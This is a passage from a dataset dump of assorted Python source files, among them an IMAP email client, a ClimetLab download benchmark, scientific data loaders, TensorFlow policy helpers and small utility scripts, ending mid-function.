content
stringlengths 5
1.05M
|
|---|
# install path
import os
install_path = os.path.dirname(os.path.realpath(__file__))
|
class Server:
def __init__(self, host, username, password=None):
self.host = host
self.username = username
self.password = password
self.connect() # Better ask user to ``connect()`` explicitly
def connect(self):
print(f'Logging to {self.host} using: {self.username}:{self.password}')
localhost = Server(
host='localhost',
username='admin',
password='admin'
)
# This is better
localhost.connect()
|
import imaplib
import email
import hashlib
from email.header import Header
from typing import List
class Email(object):
def __init__(self, date: str, header: str, sender: str, to: str, body: str = '', html: str = ''):
self.date = date
self.header = header
self.sender = sender
self.to = to
self.body = body
self.html = html
hash_str = str([date, header, sender, to])
md5 = hashlib.md5()
md5.update(hash_str.encode('utf-8'))
_hash = md5.hexdigest()
self.hash = _hash
def __repr__(self):
return f'<Email(header={self.header}, _from={self.sender}, to={self.to}' \
f"\n\nbody={self.body}\n\nhtml={self.html})>"
class EmailImap(object):
def __init__(self, host: str, address: str, password: str, port: int = 993):
self.__mail = imaplib.IMAP4_SSL(host=host, port=port)
self.__address = address
self.__password = password
def __enter__(self):
"""enter方法,返回file_handler"""
self.__mail.login(self.__address, self.__password)
return self.__mail
def __exit__(self, exc_type, exc_val, exc_tb):
"""exit方法,关闭文件并返回True"""
self.__mail.select()
if self.__mail.state == 'SELECTED':
self.__mail.close()
self.__mail.logout()
return True
def get_mail_info(self, charset, *criteria) -> List[Email]:
self.__mail.login(self.__address, self.__password)
if self.__address.endswith('@163.com'):
# 添加163邮箱 IMAP ID 验证
imaplib.Commands['ID'] = ('AUTH',)
args = ("name", "omega", "contact", "omega_miya@163.com", "version", "1.0.2", "vendor", "pyimaplibclient")
typ, dat = self.__mail._simple_command('ID', '("' + '" "'.join(args) + '")')
self.__mail._untagged_response(typ, dat, 'ID')
self.__mail.select()
typ, msg_nums = self.__mail.search(charset, *criteria)
msg_nums = str(msg_nums[0], encoding='utf8')
result_list = []
# 遍历所有邮件
for num in msg_nums.split(' '):
if num == '':
continue
stat_code, data = self.__mail.fetch(num, 'RFC822')
msg = email.message_from_bytes(data[0][1])
# 解析邮件
# 日期
date = email.header.decode_header(msg.get('Date'))[0][0]
date = str(date)
# 标题
header, charset = email.header.decode_header(msg.get('subject'))[0]
header = str(header, encoding=charset)
# 发件人
sender_info = email.header.decode_header(msg.get('from'))
sender = ''
for sender_text, charset in sender_info:
if charset and type(sender_text) == bytes:
sender_text = str(sender_text, encoding=charset)
sender += sender_text
elif type(sender_text) == bytes:
sender_text = str(sender_text, encoding='utf8')
sender += sender_text
else:
sender += sender_text
# 收件人
receiver_info = email.header.decode_header(msg.get('to'))
receiver = ''
for receiver_text, charset in receiver_info:
if charset and type(receiver_text) == bytes:
receiver_text = str(receiver_text, encoding=charset)
receiver += receiver_text
elif type(receiver_text) == bytes:
receiver_text = str(receiver_text, encoding='utf8')
receiver += receiver_text
else:
receiver += receiver_text
body = None
html = None
for part in msg.walk():
if part.get_content_type() == "text/plain":
charset = part.get_content_charset()
body = part.get_payload(decode=True)
if not body:
continue
if charset and type(body) == bytes:
body = str(body, encoding=charset)
elif type(body) == bytes:
body = str(body, encoding='utf8')
else:
body = str(body)
body = body.replace(r' ', '\n')
elif part.get_content_type() == "text/html":
charset = part.get_content_charset()
html = part.get_payload(decode=True)
if not html:
continue
if charset and type(html) == bytes:
html = str(html, encoding=charset)
elif type(html) == bytes:
html = str(html, encoding='utf8')
else:
html = str(html)
html = html.replace(' ', '')
else:
pass
result_list.append(Email(date=date, header=header, sender=sender, to=receiver, body=body, html=html))
return result_list
|
# (C) Copyright 2021 ECMWF.
#
# This software is licensed under the terms of the Apache Licence Version 2.0
# which can be obtained at http://www.apache.org/licenses/LICENSE-2.0.
# In applying this licence, ECMWF does not waive the privileges and immunities
# granted to it by virtue of its status as an intergovernmental organisation
# nor does it submit to any jurisdiction.
#
import time
from climetlab import load_source
from climetlab.core.statistics import collect_statistics, retrieve_statistics
from climetlab.indexing import PerUrlIndex
CML_BASEURL_S3 = "https://storage.ecmwf.europeanweather.cloud/climetlab"
CML_BASEURL_CDS = "https://datastore.copernicus-climate.eu/climetlab"
CML_BASEURL_GET = "https://get.ecmwf.int/repository/test-data/climetlab"
def get_methods_list():
methods = []
# methods.append("cluster(2)|blocked(256)")
# methods.append("cluster(5)|blocked(4096)")
for i in [10, 100]:
for j in [12, 16, 24]:
methods.append(f"cluster({i})|blocked({2**j})")
# for i in range(1,10,2):
# methods.append(f"sharp({10**i},1)")
# for i in [1, 2, 3, 4, 5, 7, 10, 20, 50, 100, 500, 1000]:
for i in [1, 5, 10, 50, 100]:
methods.append(f"cluster({i})")
methods.append("auto")
for i in range(8, 25, 4):
methods.append(f"blocked({2**i})")
return methods
def check_grib_value(value, requested):
if isinstance(requested, (list, tuple)):
return any([check_grib_value(value, _v) for _v in requested])
else:
try:
return int(value) == int(requested)
except (TypeError, ValueError):
return str(value) == str(requested)
def retrieve_and_check(index, request, range_method=None, **kwargs):
print("--------")
parts = index.lookup_request(request)
print("range_method", range_method)
print("REQUEST", request)
for url, p in parts:
total = len(index.get_backend(url).entries)
print(f"PARTS: {len(p)}/{total} parts in {url}")
####################
# from climetlab import load_source
# from climetlab.indexing import PerUrlIndex
#
# baseurl = "https://datastore.copernicus-climate.eu/climetlab"
# s = load_source(
# "indexed-urls",
# PerUrlIndex(
# f"{baseurl}/test-data/input/indexed-urls/large_grib_1.grb",
# ),
# {"param": "r", "time": "1200"},
# range_method="auto",
# force=True,
# )
# assert 0, "Stop here"
####################
now = time.time()
s = load_source("indexed-urls", index, request, range_method=range_method, **kwargs)
elapsed = time.time() - now
print("ELAPSED", elapsed)
try:
paths = [s.path]
except AttributeError:
paths = [p.path for p in s.sources]
for path in paths:
# check that the downloaded gribs match the request
for grib in load_source("file", path):
for k, v in request.items():
if k == "param":
k = "shortName"
assert check_grib_value(grib._get(k), v), (grib._get(k), v)
return elapsed
def radix(long, sep="("):
assert long is not None, long
if not isinstance(long, str):
return long
if sep not in long:
return long
return long.split(sep)[0]
def url_to_server(url):
if url.startswith(CML_BASEURL_S3):
return "EWC"
if url.startswith(CML_BASEURL_CDS):
return "CDS"
if url.startswith(CML_BASEURL_GET):
return "GET"
return "Other"
def benchmark():
collect_statistics(True)
baseurls = [
CML_BASEURL_S3,
CML_BASEURL_CDS,
# CML_BASEURL_GET,
]
requests = [
{"param": "r", "time": "1000", "step": "0"},
{"param": "r", "time": "1000"},
{"param": "r", "time": ["1100", "1200", "1300", "1400"]},
{
"param": ["r", "z"],
"time": ["0200", "1000", "1800", "2300"],
"levelist": ["500", "850"],
},
{"param": ["r", "z"], "levelist": ["500", "850"]},
{"param": "r"},
# {"param": ["r", "z"]},
{"param": ["r", "z", "t"]},
# {},
]
methods = get_methods_list()
# requests = [requests[2]]
# methods = [methods[0]]
# baseurls = [baseurls[0]]
# requests = requests[::2]
# methods = methods[::2]
# baseurls = [baseurls[0]]
failed = []
successfull = 0
import tqdm
for request in tqdm.tqdm(requests):
for range_method in tqdm.tqdm(methods):
for baseurl in baseurls:
index = PerUrlIndex(
f"{baseurl}/test-data/input/indexed-urls/large_grib_1.grb",
)
try:
retrieve_and_check(
index,
request,
range_method,
force=True,
)
successfull += 1
except Exception as e:
failed.append((index, request, range_method))
print("FAILED for ", index, request, range_method)
print(e)
stats = retrieve_statistics()
run_id = get_run_id()
logfiles = []
path = f"climetlab_benchmark{run_id}.json"
logfiles.append(path)
stats.write_to_json(path)
print(f"BENCHMARK FINISHED. Raw logs saved in {path}")
df = stats.to_pandas()
df["server"] = df["url"].apply(url_to_server)
df["speed"] = df["total"] / df["elapsed"] / (1024 * 1024) # MB/s
df["method"] = df["full_method"].apply(radix)
df = df.rename(
dict(
size_parts="size_requested",
size_blocks="size_downloaded",
)
)
df["size_ratio"] = df["size_downloaded"] / df["size_requested"]
path = f"climetlab_benchmark{run_id}.csv"
df.to_csv(path)
# df.to_csv("climetlab_benchmark.csv")
logfiles.append(path)
print(f"Benchmark finished ({successfull} successfull, {len(failed)} failed).")
print(
"All data in the log files are anonymous."
"Only the log file names contain personal data (machine name, IP, etc.)."
)
for f in logfiles:
print(f"Log file: {f}")
def get_run_id(keys=("hostname", "ip", "date", "user", "time")):
run_id = ""
import datetime
now = datetime.datetime.now()
for k in keys:
if k == "hostname":
import socket
run_id += "_" + str(socket.gethostname())
continue
if k == "user":
import getpass
run_id += "_" + str(getpass.getuser())
continue
if k == "ip":
from requests import get
ip = get("https://api.ipify.org").text
run_id += "_" + str(ip)
if k == "date":
run_id += "_" + now.strftime("%Y-%m-%d")
if k == "time":
run_id += "_" + now.strftime("%H%M")
return run_id
|
VERSION = "0.1.1.dev"
|
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('ui', '0015_auto_20170426_0803'),
]
operations = [
migrations.RenameField('Collection', 'is_active', 'is_on'),
migrations.RenameField('HistoricalCollection', 'is_active', 'is_on')
]
|
"""Loading data functions
This script contains the function load_data needed to make the interface
with the user and also the associated functions for the check.
This file can be imported as a module and contains the following
functions:
"""
import datetime
import xarray as xr
from astropy.time import Time
import warnings
from aidapy.data.mission.mission import Mission
from aidapy.aidaxr import process
def load_data(mission, start_time, end_time, **kwargs):
"""
Select the appropriate TimeSeries from the given arguments.
Parameters
----------
mission : str
The name of the mission from which the data are loaded/downloaded
start_time : ~datetime.datetime or ~astropy.time.Time
Start time of the loading
end_time : ~datetime.datetime or ~astropy.time.Time
End time of the loading
**kwargs
Specific arguments for providing information for the mission or
the download settings: probes, coordinates, product, mode, etc.
Return
------
xarray_mission : ~xarray.DataSet
Requested data contained within a xarray DataSet. Each data variable
contains a specific product of a specific probe
"""
_check_time(start_time, end_time)
prod = kwargs.get('prod', None)
probes = kwargs.get('probes', None)
coords = kwargs.get('coords', None)
mode = kwargs.get('mode', None)
frame = kwargs.get('frame', None)
try:
mission_instance = Mission(mission, start_time, end_time)
except ValueError:
raise ValueError('The mission {} is not yet'
' implemented'.format(mission))
prod_list = []
data_settings = get_mission_info(mission, hide=True)['data_settings']
# Check if prod type are available
if not prod:
pass
else:
for data_type in prod:
if data_type in data_settings:
prod_list.append(data_type)
mission_params = {'mission': mission}
if prod_list:
xarray_dict = mission_instance.download_data(prod_list, probes,
coords, mode, frame)
elif not prod:
xarray_dict = mission_instance.download_data(None, probes, coords,
mode, frame)
else:
xarray_dict = {}
# compute extra (L3) data
if prod:
prod_not_registered = list(set(prod)-set(prod_list))
for l3_prod in prod_not_registered:
if hasattr(_L3Preprocess, l3_prod):
func = getattr(_L3Preprocess, l3_prod)
data_temp = func(mission_instance, prod, probes, coords, mode,
xarray_dict, mission_params)
xarray_dict.update(data_temp)
else:
raise ValueError(
'{0} is not an available data product'.format(prod))
xarray_mission = _convert_dict_to_ds(xarray_dict, mission_params)
xarray_mission.attrs['load_settings'] = kwargs
return xarray_mission
def get_mission_info(mission='mission', start_time=None, end_time=None,
product=None, full_data_settings=False, hide=False):
"""
Provide information on the mission
Parameters
----------
mission : str
The name of the mission from which the data are loaded/downloaded
start_time : ~datetime.datetime or ~astropy.time.Time
Start time of the loading
end_time : ~datetime.datetime or ~astropy.time.Time
End time of the loading
product : str
Data product to look for in data_settings
full_data_settings : bool
Tag to provide all available keys
hide : bool
Tag to hide print messages when use in routines
Return
------
info : dict or str
String containing the AIDApy keyword of the queried product
or
Dictionary with information on the mission or queried product
with the following keys:
- name:
- allowed_probes:
- data_settings:
"""
if (start_time and not end_time) or (not start_time and end_time):
raise ValueError('either start_time and end_time must be defined '
'or none of them.')
if start_time is None and end_time is None:
# Fake start_time and end_time
start_time = datetime.datetime(2017, 1, 1, 1, 0, 0)
end_time = datetime.datetime(2017, 1, 1, 1, 1, 0)
mission_instance = Mission(mission, start_time, end_time)
mission_instance.concrete_mission.set_probes(
mission_instance.concrete_mission.allowed_probes)
settings = mission_instance.get_info_on_mission()
if product:
try:
info = [x for x in settings['data_settings'].keys()
if product.casefold() in
settings['data_settings'][x]['descriptor'].casefold()]
except IndexError:
raise ValueError(f"Data product not recognized. Data products "
f"currently available: ",
[settings['data_settings'][x]['descriptor']
for x in settings['data_settings']])
else:
if full_data_settings:
info = dict(zip(info, [settings['data_settings'][str(x)]
for x in info]))
if not hide:
print("All available keys for data products containing '"
+ product + "': ")
else:
if not hide:
print("All available keywords for data products"
" containing '" + product + "': ")
return info
if not full_data_settings:
settings['data_settings'] = list(settings['data_settings'].keys())
info = settings
if not hide:
print("All available keywords for "
+ mission + " mission data products: ")
else:
info = settings
if not hide:
print("All available keys for "
+ mission + " mission data products: ")
return info
def _check_time(start_time, end_time):
"""
Checking the start and end time.
Parameters
----------
start_time : `~datetime.datetime` or ~astropy.time.Time
end_time : ~datetime.datetime` or ~astropy.time.Time
"""
if (isinstance(start_time, datetime.datetime)
and isinstance(end_time, datetime.datetime)) or\
(isinstance(start_time, Time) and isinstance(end_time, Time)):
if start_time > end_time:
raise ValueError('start_time must be before end_time')
else:
raise ValueError('start_time and end_time must have '
'the same format and must be either '
'datetime.datetime or astropy.time.Time')
def _convert_dict_to_ds(dict_da, params):
"""
This method checks the downloaded data and
convert the dict of xr dataarray into xr dataset
Parameters
----------
dict_da : a dictionary of xarrays returned from a specific mission
params : dict
A dict containing the name of the mission
Return
------
xr_ds : `~xarray.DataSet`
"""
if not isinstance(dict_da, dict) or not isinstance(params, dict):
raise ValueError
# Check if all value in the dict_x are DataArray
if not all(isinstance(value_da, xr.DataArray) for value_da in dict_da.values()):
raise ValueError('All value in the dictionnary must be xrray.DataArray')
renamed_dict_da = _rename_time_index(dict_da)
_check_all_dim(renamed_dict_da)
xr_ds = xr.Dataset(renamed_dict_da)
# Overall attrs of the Dataset. For the moment this is only the name
# but it can be extended
xr_ds.attrs['mission'] = params['mission']
return xr_ds
def _rename_time_index(dict_da):
"""Rename the dim time of each datarray to ensure proper merge.
Each time dim is associated to its probe.
Parameters
----------
dict_da : a dictionary of timeserie datarray
Return
------
new_dict : dict
A dictionary of renamed DataArray
"""
new_dict = {}
for i, (key, xr_da) in enumerate(dict_da.items()):
renamed_xr_da = xr_da.rename({'time': 'time{}'.format(i+1)})
new_dict[key] = renamed_xr_da
return new_dict
def _check_all_dim(dict_xa):
"""Check if all dims of the dictionnary of xr DataArray are different.
It ensures a proper merge into xr Dataset without NaN or weird behavior.
Parameters
----------
dict_da : a dictionary of timeserie datarray
"""
dim_list_tuple = [xr_da.dims for xr_da in dict_xa.values()]
dim_full_list = [item for dim_tuple in dim_list_tuple for item in dim_tuple]
dim_unique = set(dim_full_list)
if not len(dim_full_list) == len(dim_unique):
raise ValueError('The dim of each DataArray in the dict must be unique')
class _L3Preprocess(object):
@staticmethod
def j_curl(mission_instance, prod, probes, coords, mode, data, mission_params):
# TODO: Pass the different products from settings (ex. j_vec, j_abs) that can be computed by this function
# and return the queried one at the end (or do this in the get_event module)
xarray_dict = {}
prod = ['dc_mag']
all_probes = ['1', '2', '3', '4']
if data and 'dc_mag1' in data and 'dc_mag2' in data and 'dc_mag3' in data and 'dc_mag4' in data:
pass
else:
data = mission_instance.download_data(prod, all_probes, coords, mode)
xarray_mission = _convert_dict_to_ds(data, mission_params)
xarray_mission = xarray_mission.process.reindex_ds_timestamps()
for probe in probes:
xarray_dict['j_curl'+probe] = xarray_mission.process.j_curl()
return xarray_dict
@staticmethod
def mag_elangle(mission_instance, prod, probes, coords, mode, data, mission_params):
# TODO: Pass the different products from settings (ex. j_vec, j_abs) that can be computed by this function
# and return the queried one at the end (or do this in the get_event module)
xarray_dict = {}
prod = ['dc_mag']
if data and 'dc_mag' in str(list(data.keys())):
pass
else:
data = mission_instance.download_data(prod, probes, coords, mode)
for probe in probes:
xarray_dict['mag_elangle'+probe] = data['dc_mag'+probe].process.elev_angle()
return xarray_dict
@staticmethod
def i_beta(mission_instance, prod, probes, coords, mode, data, mission_params):
# TODO: Pass the different products from settings (ex. j_vec, j_abs) that can be computed by this function
# and return the queried one at the end (or do this in the get_event module)
xarray_dict = {}
prod = ['dc_mag', 'i_dens', 'i_temppara', 'i_tempperp']
if data and 'dc_mag' in str(list(data.keys())) and\
'i_dens' in str(list(data.keys())) and\
'i_temppara' in str(list(data.keys())) and\
'i_tempperp' in str(list(data.keys())):
pass
else:
data = mission_instance.download_data(prod, probes, coords, mode)
data = _convert_dict_to_ds(data, mission_params)
data = data.process.reindex_ds_timestamps()
for probe in probes:
xarray_dict['i_beta'+probe] = data.process.plasma_beta(probe, 'i')
return xarray_dict
@staticmethod
def e_beta(mission_instance, prod, probes, coords, mode, data, mission_params):
# TODO: Pass the different products from settings (ex. j_vec, j_abs) that can be computed by this function
# and return the queried one at the end (or do this in the get_event module)
xarray_dict = {}
prod = ['dc_mag', 'e_dens', 'e_temppara', 'e_tempperp']
if data and 'dc_mag' in str(list(data.keys())) and\
'e_dens' in str(list(data.keys())) and\
'e_temppara' in str(list(data.keys())) and\
'e_tempperp' in str(list(data.keys())):
pass
else:
data = mission_instance.download_data(prod, probes, coords, mode)
data = _convert_dict_to_ds(data, mission_params)
data = data.process.reindex_ds_timestamps()
for probe in probes:
xarray_dict['e_beta'+probe] = data.process.plasma_beta(probe, 'e')
return xarray_dict
|
"""
This source takes input from instance_performance_gce.csv
and adds it to data block
"""
import argparse
import pprint
import pandas as pd
from decisionengine.framework.modules import Source
import logging
PRODUCES = ['GCE_Instance_Performance']
class GCEInstancePerformance(Source.Source):
def __init__(self, config):
super(GCEInstancePerformance, self).__init__(config)
self.csv_file = config.get('csv_file')
if not self.csv_file:
raise RuntimeError("No csv file found in configuration")
self.logger = logging.getLogger()
def produces(self, name_schema_id_list=None):
return PRODUCES
def acquire(self):
return {PRODUCES[0]: pd.read_csv(self.csv_file)}
def module_config_template():
"""
Print template for this module configuration
"""
template = {
'gce_instance_performance': {
'module': 'decisionengine_modules.GCE.sources.GCEInstancePerformance',
'name': 'GCEInstancePerformance',
'parameters': {
'csv_file': '/path/to/csv_file',
}
}
}
print('Entry in channel configuration')
pprint.pprint(template)
def module_config_info():
"""
Print module information
"""
print('produces %s' % PRODUCES)
module_config_template()
def main():
parser = argparse.ArgumentParser()
parser.add_argument(
'--configtemplate',
action='store_true',
help='prints the expected module configuration')
parser.add_argument(
'--configinfo',
action='store_true',
help='prints config template along with produces and consumes info')
args = parser.parse_args()
if args.configtemplate:
module_config_template()
elif args.configinfo:
module_config_info()
else:
pass
if __name__ == '__main__':
main()
|
import pytest
from pathlib import Path
from lark import Lark
from typing import NamedTuple
from pprint import pprint
class Declaration(NamedTuple):
args: object
returns: object
body: object
BLACKLIST = {"operators.twn"}
def test_examples(ir, examples: Path):
for path in examples.iterdir():
check_path(ir, path)
def check_path(ir, path):
if not str(path).endswith(".twn") or path.name in BLACKLIST:
return
serialized = path.with_suffix(".txt")
expect = serialized.read_text()
data = eval(expect, {"Declaration": Declaration})
src = path.read_text()
assert ir(src) == data
def error(*args):
raise NotImplementedError("não pode usar o método parse() da classe Lark.")
@pytest.fixture()
def ir(twine):
try:
from twine import recur as mod
except ImportError:
raise NotImplementedError("crie o arquivo twine/recur.py")
parse = Lark.parse
Lark.parse = prop = property(error)
yield mod.parse_to_ir
if Lark.parse is not prop:
raise RuntimeError
Lark.parse = parse
|
# -*- coding: utf-8 -*-
translations = {
# Days
'days': {
0: 'E Diel',
1: 'E Hënë',
2: 'E Martë',
3: 'E Mërkurë',
4: 'E Enjte',
5: 'E Premte',
6: 'E Shtunë'
},
'days_abbrev': {
0: 'Die',
1: 'Hën',
2: 'Mar',
3: 'Mër',
4: 'Enj',
5: 'Pre',
6: 'Sht'
},
# Months
'months': {
1: 'Janar',
2: 'Shkurt',
3: 'Mars',
4: 'Prill',
5: 'Maj',
6: 'Qershor',
7: 'Korrik',
8: 'Gusht',
9: 'Shtator',
10: 'Tetor',
11: 'Nëntor',
12: 'Dhjetor'
},
'months_abbrev': {
1: 'Jan',
2: 'Shk',
3: 'Mar',
4: 'Pri',
5: 'Maj',
6: 'Qer',
7: 'Kor',
8: 'Gus',
9: 'Sht',
10: 'Tet',
11: 'Nën',
12: 'Dhj'
},
# Units of time
'year': ['{count} vit', '{count} vjet'],
'month': ['{count} muaj', '{count} muaj'],
'week': ['{count} javë', '{count} javë'],
'day': ['{count} ditë', '{count} ditë'],
'hour': ['{count} orë', '{count} orë'],
'minute': ['{count} minutë', '{count} minuta'],
'second': ['{count} sekondë', '{count} sekonda'],
# Relative time
'ago': '{time} më parë',
'from_now': '{time} nga tani',
'after': '{time} pas',
'before': '{time} para',
# Date formats
'date_formats': {
'LTS': 'HH:mm:ss',
'LT': 'HH:mm',
'LLLL': 'dddd, D MMMM YYYY HH:mm',
'LLL': 'D MMMM YYYY HH:mm',
'LL': 'D MMMM YYYY',
'L': 'DD/MM/YYYY',
},
}
|
from itertools import zip_longest
import tensorflow as tf
import tensorflow.keras.layers as layers
from tensorflow.keras import Model
from tensorflow.keras.models import Sequential
class BasePolicy(Model):
def __init__(self, observation_space, action_space):
super(BasePolicy, self).__init__()
self.observation_space = observation_space
self.action_space = action_space
def save(self, path):
raise NotImplementedError()
def load(self, path):
raise NotImplementedError()
def soft_update(self, other_network, tau):
other_variables = other_network.trainable_variables
current_variables = self.trainable_variables
for (current_var, other_var) in zip(current_variables, other_variables):
current_var.assign((1.0 - tau) * current_var + tau * other_var)
def hard_update(self, other_network):
self.soft_update(other_network, tau=1.0)
def call(self, x):
raise NotImplementedError()
def create_mlp(
input_dim, output_dim, net_arch, activation_fn=tf.nn.relu, squash_out=False
):
modules = [layers.Flatten(input_shape=(input_dim,), dtype=tf.float32)]
if len(net_arch) > 0:
modules.append(layers.Dense(net_arch[0], activation=activation_fn))
for idx in range(len(net_arch) - 1):
modules.append(layers.Dense(net_arch[idx + 1], activation=activation_fn))
if output_dim > 0:
modules.append(layers.Dense(output_dim, activation=None))
if squash_out:
modules.append(layers.Activation(activation='tanh'))
return modules
_policy_registry = dict()
def get_policy_from_name(base_policy_type, name):
if base_policy_type not in _policy_registry:
raise ValueError(
"Error: the policy type {} is not registered!".format(base_policy_type)
)
if name not in _policy_registry[base_policy_type]:
raise ValueError(
"Error: unknown policy type {}, the only registed policy type are: {}!".format(
name, list(_policy_registry[base_policy_type].keys())
)
)
return _policy_registry[base_policy_type][name]
def get_policy_from_name(base_policy_type, name):
if base_policy_type not in _policy_registry:
raise ValueError(
"Error: the policy type {} is not registered!".format(base_policy_type)
)
if name not in _policy_registry[base_policy_type]:
raise ValueError(
"Error: unknown policy type {}, the only registed policy type are: {}!".format(
name, list(_policy_registry[base_policy_type].keys())
)
)
return _policy_registry[base_policy_type][name]
def register_policy(name, policy):
sub_class = None
for cls in BasePolicy.__subclasses__():
if issubclass(policy, cls):
sub_class = cls
break
if sub_class is None:
raise ValueError(
"Error: the policy {} is not of any known subclasses of BasePolicy!".format(
policy
)
)
if sub_class not in _policy_registry:
_policy_registry[sub_class] = {}
if name in _policy_registry[sub_class]:
raise ValueError(
"Error: the name {} is alreay registered for a different policy, will not override.".format(
name
)
)
_policy_registry[sub_class][name] = policy
class MlpExtractor(Model):
def __init__(self, feature_dim, net_arch, activation_fn):
super(MlpExtractor, self).__init__()
shared_net, policy_net, value_net = [], [], []
policy_only_layers = []
value_only_layers = []
last_layer_dim_shared = feature_dim
for idx, layer in enumerate(net_arch):
if isinstance(layer, int):
layer_size = layer
shared_net.append(layers.Dense(layer_size, activation=activation_fn))
last_layer_dim_shared = layer_size
else:
assert isinstance(
layer, dict
), "Error: the net_arch list can only contain ints and dicts"
if 'pi' in layer:
assert isinstance(
layer['pi'], list
), "Error: net_arch[-1]['pi'] must contain a list of integers."
policy_only_layers = layer['pi']
if 'vf' in layer:
assert isinstance(
layer['vf'], list
), "Error: net_arch[-1]['vf'] must contain a list of integers."
value_only_layers = layer['vf']
break
last_layer_dim_pi = last_layer_dim_shared
last_layer_dim_vf = last_layer_dim_shared
for idx, (pi_layer_size, vf_layer_size) in enumerate(
zip_longest(policy_only_layers, value_only_layers)
):
if pi_layer_size is not None:
assert isinstance(
pi_layer_size, int
), "Error: net_arch[-1]['pi'] must only contain integers."
policy_net.append(
layers.Dense(
pi_layer_size,
input_shape=(last_layer_dim_pi,),
activation=activation_fn,
)
)
last_layer_dim_pi = pi_layer_size
if vf_layer_size is not None:
assert isinstance(
vf_layer_size, int
), "Error: net_arch[-1]['vf'] must only contain integers."
value_net.append(
layers.Dense(
vf_layer_size,
input_shape=(last_layer_dim_vf,),
activation=activation_fn,
)
)
last_layer_dim_vf = vf_layer_size
self.latent_dim_pi = last_layer_dim_pi
self.latent_dim_vf = last_layer_dim_vf
self.shared_net = Sequential(shared_net)
self.policy_net = Sequential(policy_net)
self.value_net = Sequential(value_net)
def call(self, features):
shared_latent = self.shared_net(features)
return self.policy_net(shared_latent), self.value_net(shared_latent)
|
"""
Load paired image data.
Supported formats: h5 and Nifti.
Image data can be labeled or unlabeled.
"""
import random
from typing import List
from deepreg.dataset.loader.interface import (
AbstractPairedDataLoader,
GeneratorDataLoader,
)
from deepreg.dataset.util import check_difference_between_two_lists
from deepreg.registry import REGISTRY
@REGISTRY.register_data_loader(name="paired")
class PairedDataLoader(AbstractPairedDataLoader, GeneratorDataLoader):
"""
Load paired data using given file loader.
The function sample_index_generator needs to be defined for the
GeneratorDataLoader class.
"""
def __init__(
self,
file_loader,
data_dir_paths: List[str],
labeled: bool,
sample_label: str,
seed,
moving_image_shape: (list, tuple),
fixed_image_shape: (list, tuple),
):
"""
:param file_loader:
:param data_dir_paths: path of the directories storing data,
the data has to be saved under four different
sub-directories: moving_images, fixed_images, moving_labels,
fixed_labels
:param labeled: true if the data are labeled
:param sample_label:
:param seed:
:param moving_image_shape: (width, height, depth)
:param fixed_image_shape: (width, height, depth)
"""
super().__init__(
moving_image_shape=moving_image_shape,
fixed_image_shape=fixed_image_shape,
labeled=labeled,
sample_label=sample_label,
seed=seed,
)
assert isinstance(
data_dir_paths, list
), f"data_dir_paths must be list of strings, got {data_dir_paths}"
for ddp in data_dir_paths:
assert isinstance(
ddp, str
), f"data_dir_paths must be list of strings, got {data_dir_paths}"
self.loader_moving_image = file_loader(
dir_paths=data_dir_paths, name="moving_images", grouped=False
)
self.loader_fixed_image = file_loader(
dir_paths=data_dir_paths, name="fixed_images", grouped=False
)
if self.labeled:
self.loader_moving_label = file_loader(
dir_paths=data_dir_paths, name="moving_labels", grouped=False
)
self.loader_fixed_label = file_loader(
dir_paths=data_dir_paths, name="fixed_labels", grouped=False
)
self.validate_data_files()
self.num_images = self.loader_moving_image.get_num_images()
def validate_data_files(self):
"""Verify all loaders have the same files."""
moving_image_ids = self.loader_moving_image.get_data_ids()
fixed_image_ids = self.loader_fixed_image.get_data_ids()
check_difference_between_two_lists(
list1=moving_image_ids,
list2=fixed_image_ids,
name="moving and fixed images in paired loader",
)
if self.labeled:
moving_label_ids = self.loader_moving_label.get_data_ids()
fixed_label_ids = self.loader_fixed_label.get_data_ids()
check_difference_between_two_lists(
list1=moving_image_ids,
list2=moving_label_ids,
name="moving images and labels in paired loader",
)
check_difference_between_two_lists(
list1=moving_image_ids,
list2=fixed_label_ids,
name="fixed images and labels in paired loader",
)
def sample_index_generator(self):
"""
Generate indexes in order to load data using the
GeneratorDataLoader class.
"""
image_indices = [i for i in range(self.num_images)]
random.Random(self.seed).shuffle(image_indices)
for image_index in image_indices:
yield image_index, image_index, [image_index]
def close(self):
self.loader_moving_image.close()
self.loader_fixed_image.close()
if self.labeled:
self.loader_moving_label.close()
self.loader_fixed_label.close()
|
# -*- coding: utf-8 -*-
"""
A program that loads a natural number and checks if it is a palindrome.
**UNFINISHED**
"""
number= -1
reverseNumber = 0
while number <= 0:
number = int(input("Enter a natural number: "))
if number<=0:
print("That's not a natural number.")
modNumber = number
for i in range(len(str(number))):
for y in range(len(str(number)), 1, -1):
digit = modNumber % 10
modNumber = modNumber //10
reverseNumber += digit*(10**y)
print(reverseNumber)
|
# ------------------------------------------------------------------------
# DT-MIL
# Copyright (c) 2021 Tencent. All Rights Reserved.
# ------------------------------------------------------------------------
# Modified from Deformable DETR
# Copyright (c) 2020 SenseTime. All Rights Reserved.
# ------------------------------------------------------------------------
from .ms_deform_attn_func import MSDeformAttnFunction
__all__ = ['MSDeformAttnFunction']
|
import logging
import inspect
import collections
import random
import torch
from torchnlp.text_encoders import PADDING_INDEX
logger = logging.getLogger(__name__)
def get_tensors(object_):
""" Get all tensors associated with ``object_``
Args:
object_ (any): Any object to look for tensors.
Returns:
(list of torch.tensor): List of tensors that are associated with ``object_``.
"""
if torch.is_tensor(object_):
return [object_]
elif isinstance(object_, (str, float, int)):
return []
tensors = set()
if isinstance(object_, collections.Mapping):
for value in object_.values():
tensors.update(get_tensors(value))
elif isinstance(object_, collections.Iterable):
for value in object_:
tensors.update(get_tensors(value))
else:
members = [
value for key, value in inspect.getmembers(object_)
if not isinstance(value, (collections.Callable, type(None)))
]
tensors.update(get_tensors(members))
return tensors
def sampler_to_iterator(dataset, sampler):
""" Given a batch sampler or sampler returns examples instead of indices
Args:
dataset (torch.utils.data.Dataset): Dataset to sample from.
sampler (torch.utils.data.sampler.Sampler): Sampler over the dataset.
Returns:
generator over dataset examples
"""
for sample in sampler:
if isinstance(sample, (list, tuple)):
# yield a batch
yield [dataset[i] for i in sample]
else:
# yield a single example
yield dataset[sample]
def datasets_iterator(*datasets):
"""
Args:
*datasets (:class:`list` of :class:`torch.utils.data.Dataset`)
Returns:
generator over rows in ``*datasets``
"""
for dataset in datasets:
for row in dataset:
yield row
def pad_tensor(tensor, length, padding_index=PADDING_INDEX):
""" Pad a ``tensor`` to ``length`` with ``padding_index``.
Args:
tensor (torch.Tensor [n, *]): Tensor to pad.
